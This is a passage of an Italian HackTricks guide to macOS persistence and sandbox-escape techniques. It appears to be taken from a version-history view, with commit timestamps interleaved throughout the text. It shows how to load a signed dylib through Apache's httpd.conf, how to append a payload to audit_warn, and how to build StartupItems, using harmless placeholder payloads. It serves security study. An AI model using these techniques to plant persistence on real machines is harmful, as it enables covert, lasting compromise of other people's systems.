* Httpd non ha diritti
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 15:09:34 +00:00
* **`/etc/apache2/httpd.conf`**
2024-09-21 18:25:09 +00:00
* Richiesta root
* Attivazione: Quando Apache2 viene avviato
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploit
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Puoi indicare in `/etc/apache2/httpd.conf` di caricare un modulo aggiungendo una riga come:
2024-07-18 17:35:13 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
2024-09-21 18:25:09 +00:00
In questo modo, i tuoi moduli compilati verranno caricati da Apache. L'unica cosa è che devi **firmarlo con un certificato Apple valido** , oppure devi **aggiungere un nuovo certificato di fiducia** nel sistema e **firmarlo** con esso.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Quindi, se necessario, per assicurarti che il server venga avviato, potresti eseguire:
2023-09-28 15:09:34 +00:00
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2024-02-10 13:03:23 +00:00
Esempio di codice per il Dylb:
2023-09-28 15:09:34 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
2024-02-10 13:03:23 +00:00
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
2023-09-28 15:09:34 +00:00
}
```
2024-09-21 18:25:09 +00:00
### BSM audit framework
2024-03-17 16:26:31 +00:00
2024-09-21 18:25:09 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare la sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ma è necessario essere root, auditd deve essere in esecuzione e causare un avviso
2024-02-13 00:50:42 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 15:09:34 +00:00
* **`/etc/security/audit_warn`**
2024-09-21 18:25:09 +00:00
* Richiesta di root
2024-02-10 13:03:23 +00:00
* **Trigger**: Quando auditd rileva un avviso
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploit
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Ogni volta che auditd rileva un avviso, lo script ** `/etc/security/audit_warn` ** viene **eseguito** . Quindi potresti aggiungere il tuo payload su di esso.
2023-09-28 15:09:34 +00:00
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2024-07-17 18:34:34 +00:00
Puoi forzare un avviso con `sudo audit -n` .
2024-02-13 00:50:42 +00:00
### Elementi di Avvio
2023-06-01 21:09:46 +00:00
2023-09-26 23:39:35 +00:00
{% hint style="danger" %}
2024-09-21 18:25:09 +00:00
**Questo è deprecato, quindi non dovrebbe essere trovato nulla in quelle directory.**
2023-09-26 23:39:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
L'**StartupItem** è una directory che dovrebbe essere posizionata all'interno di `/Library/StartupItems/` o `/System/Library/StartupItems/` . Una volta che questa directory è stabilita, deve contenere due file specifici:
2024-02-07 04:06:18 +00:00
2024-02-13 00:50:42 +00:00
1. Uno **script rc** : Uno script shell eseguito all'avvio.
2024-09-21 18:25:09 +00:00
2. Un **file plist** , specificamente chiamato `StartupParameters.plist` , che contiene varie impostazioni di configurazione.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Assicurati che sia lo script rc che il file `StartupParameters.plist` siano correttamente posizionati all'interno della directory **StartupItem** affinché il processo di avvio possa riconoscerli e utilizzarli.
2024-07-17 18:34:34 +00:00
{% tabs %}
{% tab title="StartupParameters.plist" %}
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 13:03:23 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-13 00:50:42 +00:00
{% endtab %}
2024-02-10 13:03:23 +00:00
2024-09-21 18:25:09 +00:00
{% tab title="superservicename" %}
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2024-02-10 13:03:23 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2024-02-10 13:03:23 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2024-02-10 13:03:23 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
{% endtab %}
{% endtabs %}
2024-02-13 00:50:42 +00:00
### ~~emond~~
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-09-21 18:25:09 +00:00
Non riesco a trovare questo componente nel mio macOS, quindi per ulteriori informazioni controlla il writeup
2023-09-28 20:05:35 +00:00
{% endhint %}
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2024-09-21 18:25:09 +00:00
Introdotto da Apple, **emond** è un meccanismo di registrazione che sembra essere poco sviluppato o possibilmente abbandonato, eppure rimane accessibile. Sebbene non sia particolarmente utile per un amministratore Mac, questo servizio oscuro potrebbe servire come un metodo di persistenza sottile per gli attori delle minacce, probabilmente inosservato dalla maggior parte degli amministratori macOS.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
Per coloro che sono a conoscenza della sua esistenza, identificare qualsiasi uso malevolo di **emond** è semplice. Il LaunchDaemon del sistema per questo servizio cerca script da eseguire in una singola directory. Per ispezionare questo, si può utilizzare il seguente comando:
2023-09-28 20:05:35 +00:00
```bash
ls -l /private/var/db/emondClients
```
2024-05-05 22:09:41 +00:00
### ~~XQuartz~~
2023-09-28 20:05:35 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 20:05:35 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-09-21 18:25:09 +00:00
* Richiesta di root
2024-02-10 13:03:23 +00:00
* **Trigger**: Con XQuartz
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploit
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
XQuartz **non è più installato in macOS** , quindi se vuoi ulteriori informazioni controlla il writeup.
2023-09-28 20:05:35 +00:00
2024-05-05 22:09:41 +00:00
### ~~kext~~
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-09-21 18:25:09 +00:00
È così complicato installare kext anche come root che non lo considererò per sfuggire dalle sandbox o anche per la persistenza (a meno che tu non abbia un exploit)
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:42 +00:00
Per installare un KEXT come elemento di avvio, deve essere **installato in una delle seguenti posizioni** :
2023-09-28 20:05:35 +00:00
* `/System/Library/Extensions`
2024-02-13 00:50:42 +00:00
* File KEXT integrati nel sistema operativo OS X.
2023-09-28 20:05:35 +00:00
* `/Library/Extensions`
2024-02-10 13:03:23 +00:00
* File KEXT installati da software di terze parti
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
Puoi elencare i file kext attualmente caricati con:
2023-09-28 20:05:35 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-02-13 00:50:42 +00:00
Per ulteriori informazioni su [**estensioni del kernel controlla questa sezione** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 20:05:35 +00:00
### ~~amstoold~~
2024-09-21 18:25:09 +00:00
Scrittura: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 20:05:35 +00:00
* **`/usr/local/bin/amstoold`**
2024-09-21 18:25:09 +00:00
* Richiesta di root
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Descrizione e sfruttamento
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
A quanto pare il `plist` di `/System/Library/LaunchAgents/com.apple.amstoold.plist` stava utilizzando questo binario mentre esponeva un servizio XPC... il problema è che il binario non esisteva, quindi potevi posizionare qualcosa lì e quando il servizio XPC veniva chiamato, il tuo binario sarebbe stato chiamato.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
Non riesco più a trovare questo nel mio macOS.
2023-09-28 20:05:35 +00:00
### ~~xsanctl~~
2024-09-21 18:25:09 +00:00
Scrittura: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 20:05:35 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-09-21 18:25:09 +00:00
* Richiesta di root
* **Attivazione**: Quando il servizio viene eseguito (raramente)
2023-09-28 20:05:35 +00:00
2024-07-17 18:34:34 +00:00
#### Descrizione e sfruttamento
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
A quanto pare non è molto comune eseguire questo script e non sono riuscito nemmeno a trovarlo nel mio macOS, quindi se vuoi ulteriori informazioni controlla la scrittura.
2023-09-28 20:05:35 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-02-10 13:03:23 +00:00
**Questo non funziona nelle versioni moderne di MacOS**
2023-06-01 21:09:46 +00:00
{% endhint %}
2024-09-21 18:25:09 +00:00
È anche possibile posizionare qui **comandi che verranno eseguiti all'avvio.** Esempio di script rc.common regolare:
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2024-02-10 13:03:23 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2024-02-10 13:03:23 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2024-02-10 13:03:23 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2024-02-10 13:03:23 +00:00
## Tecniche e strumenti di persistenza
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
2024-07-18 17:35:13 +00:00
{% hint style="success" %}
2024-09-21 18:25:09 +00:00
Impara e pratica il hacking AWS:< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Impara e pratica il hacking GCP: < img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-06-01 21:09:46 +00:00
2024-07-18 17:35:13 +00:00
< details >
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
< summary > Supporta HackTricks< / summary >
2023-12-30 20:49:49 +00:00
2024-07-18 17:35:13 +00:00
* Controlla i [**piani di abbonamento** ](https://github.com/sponsors/carlospolop )!
* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-09-21 18:25:09 +00:00
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos su github.
2023-06-01 21:09:46 +00:00
< / details >
2024-07-18 17:35:13 +00:00
{% endhint %}